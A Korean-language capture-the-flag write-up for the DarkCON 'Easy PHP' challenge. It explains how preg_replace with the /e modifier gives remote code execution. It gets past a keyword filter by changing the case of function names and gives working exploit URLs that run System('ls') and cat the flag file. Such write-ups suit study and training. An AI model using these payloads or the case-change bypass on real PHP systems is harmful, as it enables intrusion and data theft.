////
Search
🚩

Easy PHP [ 384 points ]

목차

문제 유형

Server : PHP
Vulnerability : RCE

문제 정보 확인

별 다른 내용은 없다.
문제에 접속하면 Welcome DarkCON CTF !! 라는 메세지만 출력되고 별 기능이 없다.
Request 패킷, Response 패킷에도 문제를 풀기 위한 중요한 내용이 없었다.
그래서 robots.txt, sitemap.xml 파일이 존재하는지 확인하였고, robots.txt 파일이 존재하는 것을 확인할 수 있었다. 이를 통해 ?lmao 라는 경로를 확인할 수 있었다.
/?lmao 경로로 이동하면 아래와 같이 소스코드를 확인할 수 있다.

?lmao 경로에 존재하는 소스코드 분석

소스코드를 보니 처음에 문제에 접속하였을 때 출력되는 메시지와 관련된 소스코드인 것을 알 수 있다. 파라미터 값을 얻어와 preg_replace 함수를 사용하여 기본적으로 출력되는 메세지를 다른 값으로 변경한다.
nic3 파라미터 값 : preg_replace 함수에 사용되는 정규식
bruh 파라미터 값 : preg_replace 함수에 사용되는 인자
<?php require_once 'config.php'; $text = "Welcome DarkCON CTF !!"; if (isset($_GET['lmao'])) { highlight_file(__FILE__); exit; } else { $payload = $_GET['bruh']; if (isset($payload)) { # $payload 값 필터링 if (is_payload_danger($payload)) { die("Amazing Goob JOb You :) "); } else { # 기본적으로 출력되는 메세지를 입력한 정규식에 따라 변경 echo preg_replace($_GET['nic3'], $payload, $text); } } echo $text; } ?>
PHP

취약점 분석

이전 소스코드에서 확인한 preg_replace 함수는 치명적인 취약점을 가지고 있다.
바로 /e 옵션 을 사용하면 치환될 문자를 php 코드 그대로 해석되기 때문에, RCE 취약점이 발생할 수 있다.
즉 아래의 예시처럼 특정 문자를 원하는 함수로 변경하여 실행이 가능하다는 의미이다.
# DarkCON 문자가 phpinfo() 글자로 변경되며, /e 옵션으로 인해 함수로 실행된다. echo preg_replace('/DarkCON/e', 'phpinfo()', $text); -> http://easy-php.darkarmy.xyz/?nic3=/DarkCON/e&bruh=phpinfo()
PHP
우리가 원하는 것은 FLAG이기 때문에, 시스템 명령어를 사용하여 파일을 찾아보았다.
하지만 is_payload_danger 함수로 인해 작동이 되지 않았다.
echo preg_replace('/DarkCON/e', 'system("ls")', $text); -> http://easy-php.darkarmy.xyz/?nic3=/DarkCON/e&bruh=system("ls")
PHP
exec 와 같이 시스템 명령어를 사용할 수 있는 여러 함수를 사용해 보았지만, 필터링에 의해 동작하지 않았다.
우회 방법은 아래 사이트를 많이 참고 하였다.
하지만, 함수 명을 systemSystem / execExec 와 같이 대문자를 섞어 사용하니 정상적으로 동작하였다.
이를 통해 flag210d9f88fd1db71b947fbdce22871b57.php 이라는 수상한 파일을 확인할 수 있었다.
echo preg_replace('/DarkCON/e', 'System("ls")', $text); http://easy-php.darkarmy.xyz/?nic3=/DarkCON/e&bruh=System(%22ls%22)
PHP
확인한 flag210d9f88fd1db71b947fbdce22871b57.php 파일을 동일한 방법으로 내용을 확인하면 FLAG를 확인할 수 있다.
echo preg_replace('/DarkCON/e', 'System("cat flag210d9f88fd1db71b947fbdce22871b57.php")', $text); -> http://easy-php.darkarmy.xyz/?nic3=/DarkCON/e&bruh=System(%22cat%20flag210d9f88fd1db71b947fbdce22871b57.php%22)
PHP
FLAG
darkCON{w3lc0me_D4rkC0n_CTF_2O21_ggwp!!!!}